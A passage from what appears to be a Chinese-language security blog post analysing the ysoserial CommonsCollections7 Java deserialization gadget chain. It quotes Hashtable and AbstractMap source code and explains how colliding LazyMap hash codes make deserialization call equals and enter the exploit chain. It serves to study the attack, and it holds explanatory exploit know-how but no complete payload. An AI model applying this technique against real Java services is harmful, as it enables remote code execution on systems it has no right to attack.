!important;word-break: inherit !important;">new</span> java.io.StreamCorruptedException();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 6</span>    }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 7</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">// Makes sure the key is not already in the hashtable.</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 8</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">// This should not happen in deserialized version.</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 9</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> hash = key.hashCode();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">10</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> index = (hash &amp; <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0x7FFFFFFF</span>) % tab.length;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">11</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">for</span> (Entry&lt;?,?&gt; e = tab[index] ; e != <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">null</span> ; e = e.next) {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">12</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ((e.hash == hash) &amp;&amp; e.key.<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">equals</span>(key)) {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">13</span>            <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">throw</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> java.io.StreamCorruptedException();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">14</span>        }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">15</span>    }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">16</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">// Creates the new entry.</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">17</span>    @SuppressWarnings(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;unchecked&#34;</span>)<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">18</span>        Entry&lt;K,V&gt; e = (Entry&lt;K,V&gt;)tab[index];<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">19</span>    tab[index] = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Entry&lt;&gt;(hash, key, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">value</span>, e);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">20</span>    count++;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">21</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><span style="font-size: 14px;">可以看到首先通过key计算一个hash值，用这个值进行计算得到index。这个index就是前面创建的Entry数组的索引。 <br/>然后判断Entry当前索引处是否有对象，如果有对象的话判断两个对象是否相等。如果不相等的话则通过当前key的hash，以及key,value,和当前数组节点的Entry新建一个Entry挂入当前索引处。 <br/>而我们的目标是需要让Entry数组当前索引处的对象哈希与将要挂入的对象哈希一致，这样就会调用</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">e.key.equals</span></code><span style="font-size: 14px;">从而进入我们的调用链。</span></p><h3 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;margin: 0px;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">控制哈希（重点）</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><span style="font-size: 14px;">回过头看一下yso的代码，</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">hashtable</span></code><span style="font-size: 14px;">中有两个</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">LazyMap</span></code><span style="font-size: 14px;">元素，而</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">LazyMap</span></code><span style="font-size: 14px;">中封装的是一个</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">Hashmap</span></code><span style="font-size: 14px;">，而</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">Hashmap</span></code><span style="font-size: 14px;">中是一个</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">Entry&lt;String,Integer&gt;</span></code><span style="font-size: 14px;">对象。 <br/>接下来我们跟一下计算</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">hashcode</span></code><span style="font-size: 14px;">的过程。</span></p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">private</span> <span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">void</span> <span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">reconstitutionPut</span>(<span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">Entry&lt;?,?&gt;[] tab, K key, V <span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">value</span></span>)<br/><span style="line-height: inherit;margin: 0px;padding: 0px 20px 0px 0px;color: rgb(174, 135, 250);word-spacing: 0px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span>    throws StreamCorruptedException<br/><span style="line-height: inherit;margin: 0px;padding: 0px 20px 0px 0px;color: rgb(174, 135, 250);word-spacing: 0px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span></span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 4</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> (<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">value</span> == <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">null</span>) {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 5</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">throw</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> java.io.StreamCorruptedException();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 6</span>    }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 7</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">// Makes sure the key is not already in the hashtable.</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 8</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">// This should not happen in deserialized version.</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 9</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> hash = key.hashCode();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">10</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> index = (hash &amp; <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0x7FFFFFFF</span>) % tab.length;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">11</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">for</span> (Entry&lt;?,?&gt; e = tab[index] ; e != <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">null</span> ; e = e.next) {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">12</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ((e.hash == hash) &amp;&amp; e.key.<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">equals</span>(key)) {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">13</span>            <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">throw</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> java.io.StreamCorruptedException();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">14</span>        }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">15</span>    }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">16</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">// Creates the new entry.</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">17</span>    @SuppressWarnings(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;unchecked&#34;</span>)<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">18</span>        Entry&lt;K,V&gt; e = (Entry&lt;K,V&gt;)tab[index];<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">19</span>    tab[index] = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Entry&lt;&gt;(hash, key, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">value</span>, e);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">20</span>    count++;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">21</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><span style="font-size: 14px;">首先调用</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">key.hashCode</span></code><span style="font-size: 14px;">。这里的</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">key</span></code><span style="font-size: 14px;">就是</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">LazyMap</span></code><span style="font-size: 14px;">对象。 <br/>但是</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">LazyMap</span></code><span style="font-size: 14px;">类没有实现</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">hashCode</span></code><span style="font-size: 14px;">方法，所以要看一下他的父类（</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">AbstractMapDecorator</span></code><span style="font-size: 14px;">类）的实现：</span></p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">public</span> <span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">int</span> <span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">hashCode</span><span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">()</span> </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">map</span>.hashCode();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><span style="font-size: 14px;">可以看到</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">AbstractMapDecorator</span></code><span style="font-size: 14px;color: inherit;">类的</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">hashCode</span></code><span style="color: inherit;font-size: 14px;">调用了</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">this.map.hashCode</span></code><span style="color: inherit;font-size: 14px;">。而this.map是一个</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">hashmap</span></code><span style="color: inherit;font-size: 14px;">对象，继续跟进</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">hashmap</span></code><span style="color: inherit;font-size: 14px;">对象：</span></p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">hashmap</span></code><span style="font-size: 14px;">没有实现</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">hashcode</span></code><span style="font-size: 14px;">方法，继续跟进父<span style="color: inherit;">类</span></span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">AbstractMap.hashCode</span></code><span style="color: inherit;font-size: 14px;">:</span></p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">public</span> <span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">int</span> <span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">hashCode</span><span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">()</span> </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> h = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span>    Iterator&lt;Entry&lt;K,V&gt;&gt; i = entrySet().iterator();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">4</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">while</span> (i.hasNext())<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">5</span>        h += i.next().hashCode();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">6</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> h;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">7</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><span style="font-size: 14px;">可以看到首先通过</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">entrySet().iterator();</span></code><span style="font-size: 14px;">获取一个迭代器，然后通过迭代器循环调用元素的</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">hashCode</span></code><span style="font-size: 14px;">方法。</span></p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>transient <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Set</span>&lt;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Map</span>.Entry&lt;K,V&gt;&gt; entrySet;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit 